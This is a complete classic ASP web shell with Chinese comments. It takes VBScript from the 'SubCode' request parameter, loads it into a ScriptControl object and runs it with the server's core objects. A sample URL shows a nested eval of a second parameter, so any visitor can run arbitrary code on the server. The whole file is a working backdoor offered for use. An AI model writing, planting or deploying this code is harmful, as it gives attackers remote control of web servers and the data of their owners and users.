<%
Set o = Server.CreateObject("ScriptControl")
o.language = "vbscript"
o.addcode(Request("SubCode")) '參數(shù)SubCode作為過程代碼
o.run "e",Server,Response,Request,Application,Session,Error '參數(shù)名e 調(diào)用之，同時(shí)壓入6個(gè)基對(duì)象作為參數(shù)

'調(diào)用示例：
'http://localhost/tmp.asp?SubCode=sub%20e%28Server,Response,Request,Application,Session,Error%29%20eval%28request%28%22v%22%29%29%20end%20sub&v=response.write%28server.mappath%28%22tmp.asp%22%29%29
%>